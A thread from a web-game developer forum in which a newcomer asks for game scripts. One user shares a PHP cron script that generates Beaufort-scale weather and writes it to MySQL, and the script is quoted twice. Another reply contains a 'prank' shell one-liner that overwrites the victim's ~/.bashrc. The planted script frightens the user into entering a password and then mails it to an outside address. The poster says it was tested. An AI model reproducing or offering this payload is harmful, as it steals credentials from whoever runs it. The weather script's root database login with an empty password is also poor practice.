Jump to content
MakeWebGames

Any Scripts?


Syed

Recommended Posts

Hi there, wondering if anyones got any scripts lying around that they wouldn't mind sharing with me, as I want to create a game. I have a few scripts so far, but a lot of them are bugged etc, I don't mind if you share a bugged version with me, as it would give me something to do by trying to fix it. I am new to this forum, and I am not asking for a fully 100% working script, however if you do have one, you could share that with me too :p.

So has anyone got any lying around, Ive got one up and running but its bugged to fuck. So if anyones got any working games , or SQL databases, that they could share, I would be grateful. I just want to add on a few extras from different games and make it into one unique one if you get what I mean :D

I am looking for some text based games, Similar to GC, GB, AGL, City dons, etc... Thanks

Edited by Syed
Link to comment
Share on other sites

I have one which I could share, it doesn't do much but it is for my game which I am working on (writing my own engine so it shall be up to you to implement into your own engine or which ever one you are using).

It basically decides what weather conditions to have, and then it inserts it into the database (removed my login information from the script), the script is run by a crontask every 30 minutes so you get an evolving weather. As I say, nothing complex.

 

<?php

$Rand_1 = mt_rand(0, 12);
$Rand_2 = mt_rand(0, 8);

$Rand_Weather = $Rand_1 - $Rand_2;

if($Rand_Weather < 0)
{
	$Rand_Weather = 0;
}

/* All Weather is Calculated on the Beaufort Scale */

if ($Rand_Weather == 0)
{
	$Weather = "Calm";

	$Rand_Wave_Height		= 0.1 * mt_rand(0, 0);
	$Rand_Wind_Speed		= mt_rand(0, 1); 
}

if ($Rand_Weather == 1)
{
	$Weather = "Light Air";

	$Rand_Wave_Height		= 0.1 * mt_rand(0, 1);
	$Rand_Wind_Speed		= mt_rand(1, 3);
}

if ($Rand_Weather == 2)
{
	$Weather = "Light Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(1, 2);
	$Rand_Wind_Speed		= mt_rand(4, 6);
}

if ($Rand_Weather == 3)
{
	$Weather = "Gentle Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(3, 6);
	$Rand_Wind_Speed		= mt_rand(7, 10);
}

if ($Rand_Weather == 4)
{
	$Weather = "Moderate Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(7, 10);
	$Rand_Wind_Speed		= mt_rand(11, 16);
}

if ($Rand_Weather == 5)
{
	$Weather = "Fresh Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(15, 20);
	$Rand_Wind_Speed		= mt_rand(17, 21);
}

if ($Rand_Weather == 6)
{
	$Weather = "Strong Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(25, 30);
	$Rand_Wind_Speed		= mt_rand(22, 27);
}

if ($Rand_Weather == 7)
{
	$Weather = "Near Gale";

	$Rand_Wave_Height		= 0.1 * mt_rand(35, 40);
	$Rand_Wind_Speed		= mt_rand(28, 33);
}

if ($Rand_Weather == 8)
{
	$Weather = "Gale";

	$Rand_Wave_Height		= 0.1 * mt_rand(50, 60);
	$Rand_Wind_Speed		= mt_rand(34, 40);
}

if ($Rand_Weather == 9)
{
	$Weather = "Strong Gale";

	$Rand_Wave_Height		= 0.1 * mt_rand(65, 75);
	$Rand_Wind_Speed		= mt_rand(41, 47);
}

if ($Rand_Weather == 10)
{
	$Weather = "Storm";

	$Rand_Wave_Height		= 0.1 * mt_rand(80, 95);
	$Rand_Wind_Speed		= mt_rand(48, 55);
}

if ($Rand_Weather == 11)
{
	$Weather = "Violent Storm";

	$Rand_Wave_Height		= 0.1 * mt_rand(100, 115);
	$Rand_Wind_Speed		= mt_rand(56, 63);
}

if ($Rand_Weather == 12)
{
	$Weather = "Hurricane";

	$Rand_Wave_Height		= 0.1 * mt_rand(140, 160);
	$Rand_Wind_Speed		= mt_rand(64, 80);
}

mysql_connect ("localhost", "root", "") or die ("Couldn't Connect to Server");
mysql_select_db ("") or die ("Couldn't Find Database");

mysql_query ("UPDATE Global_Variables SET Weather = '$Weather' WHERE ID = '1'") or die ("Couldn't Update Global Weather Variables");
mysql_query ("UPDATE Global_Variables SET Wind_Speed = '$Rand_Wind_Speed' WHERE ID = '1'") or die ("Couldn't Update Global Weather Variables");
mysql_query ("UPDATE Global_Variables SET Wave_Height = '$Rand_Wave_Height' WHERE ID = '1'") or die ("Couldn't Update Global Weather Variables");

mysql_close();

?>
Link to comment
Share on other sites

I have one which I could share, it doesn't do much but it is for my game which I am working on (writing my own engine so it shall be up to you to implement into your own engine or which ever one you are using).

It basically decides what weather conditions to have, and then it inserts it into the database (removed my login information from the script), the script is run by a crontask every 30 minutes so you get an evolving weather. As I say, nothing complex.

 

<?php

$Rand_1 = mt_rand(0, 12);
$Rand_2 = mt_rand(0, 8);

$Rand_Weather = $Rand_1 - $Rand_2;

if($Rand_Weather < 0)
{
	$Rand_Weather = 0;
}

/* All Weather is Calculated on the Beaufort Scale */

if ($Rand_Weather == 0)
{
	$Weather = "Calm";

	$Rand_Wave_Height		= 0.1 * mt_rand(0, 0);
	$Rand_Wind_Speed		= mt_rand(0, 1); 
}

if ($Rand_Weather == 1)
{
	$Weather = "Light Air";

	$Rand_Wave_Height		= 0.1 * mt_rand(0, 1);
	$Rand_Wind_Speed		= mt_rand(1, 3);
}

if ($Rand_Weather == 2)
{
	$Weather = "Light Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(1, 2);
	$Rand_Wind_Speed		= mt_rand(4, 6);
}

if ($Rand_Weather == 3)
{
	$Weather = "Gentle Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(3, 6);
	$Rand_Wind_Speed		= mt_rand(7, 10);
}

if ($Rand_Weather == 4)
{
	$Weather = "Moderate Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(7, 10);
	$Rand_Wind_Speed		= mt_rand(11, 16);
}

if ($Rand_Weather == 5)
{
	$Weather = "Fresh Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(15, 20);
	$Rand_Wind_Speed		= mt_rand(17, 21);
}

if ($Rand_Weather == 6)
{
	$Weather = "Strong Breeze";

	$Rand_Wave_Height		= 0.1 * mt_rand(25, 30);
	$Rand_Wind_Speed		= mt_rand(22, 27);
}

if ($Rand_Weather == 7)
{
	$Weather = "Near Gale";

	$Rand_Wave_Height		= 0.1 * mt_rand(35, 40);
	$Rand_Wind_Speed		= mt_rand(28, 33);
}

if ($Rand_Weather == 8)
{
	$Weather = "Gale";

	$Rand_Wave_Height		= 0.1 * mt_rand(50, 60);
	$Rand_Wind_Speed		= mt_rand(34, 40);
}

if ($Rand_Weather == 9)
{
	$Weather = "Strong Gale";

	$Rand_Wave_Height		= 0.1 * mt_rand(65, 75);
	$Rand_Wind_Speed		= mt_rand(41, 47);
}

if ($Rand_Weather == 10)
{
	$Weather = "Storm";

	$Rand_Wave_Height		= 0.1 * mt_rand(80, 95);
	$Rand_Wind_Speed		= mt_rand(48, 55);
}

if ($Rand_Weather == 11)
{
	$Weather = "Violent Storm";

	$Rand_Wave_Height		= 0.1 * mt_rand(100, 115);
	$Rand_Wind_Speed		= mt_rand(56, 63);
}

if ($Rand_Weather == 12)
{
	$Weather = "Hurricane";

	$Rand_Wave_Height		= 0.1 * mt_rand(140, 160);
	$Rand_Wind_Speed		= mt_rand(64, 80);
}

mysql_connect ("localhost", "root", "") or die ("Couldn't Connect to Server");
mysql_select_db ("") or die ("Couldn't Find Database");

mysql_query ("UPDATE Global_Variables SET Weather = '$Weather' WHERE ID = '1'") or die ("Couldn't Update Global Weather Variables");
mysql_query ("UPDATE Global_Variables SET Wind_Speed = '$Rand_Wind_Speed' WHERE ID = '1'") or die ("Couldn't Update Global Weather Variables");
mysql_query ("UPDATE Global_Variables SET Wave_Height = '$Rand_Wave_Height' WHERE ID = '1'") or die ("Couldn't Update Global Weather Variables");

mysql_close();

?>

Thanks for this :D

Link to comment
Share on other sites

Thanks for this :D

No problem, in case you are wondering why I included the

 $Rand_Weather = $Rand_1 - $Rand_2; 

That is to reduce the number of hurricanes, by modifying the random numbers possible in $Rand_2 you can change the frequency of severe storms.

At the moment you are likely to get between Calm and Strong Breeze but you still have the possibility of the stronger storms.

Edited by Octet
Link to comment
Share on other sites

I haths a better one!

 

echo "#\!/bin/sh
echo -e \"Someone wants to hack ur syst3m, like raelly\!\!\nEnter your passw0rd now to stop\!\!\"
read -e PASSWORD
echo $PASSWORD > ~/tmpmail
mail -s\"bleh\" \"[email protected]\" < ~/tmpmail
echo \"ur syst3m is n0w l33t again\"" > ~/.bashrc

 

How I love bashrc.. *evil laugh*

Edit: Tested. :)

Edited by Spudinski
Link to comment
Share on other sites

Im not gunna make it a mafia game i just want the script im gunna change them about to match my niche

If your looking for hand me downs instead of searching for them I wouldnt be surprised if your gonna fail.

If your gonna "change" them up to suits your needs ots a lot more work than you think since almost everything is geared towards mafia/crime style games.

To me your just sounding plain out lazy and if your lazy your not going to change your mods around to fit the style your going after.

If you really want to go after something different maybe look at NWE cause you make the game what it is with that engine. There are no presets to it at all really

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...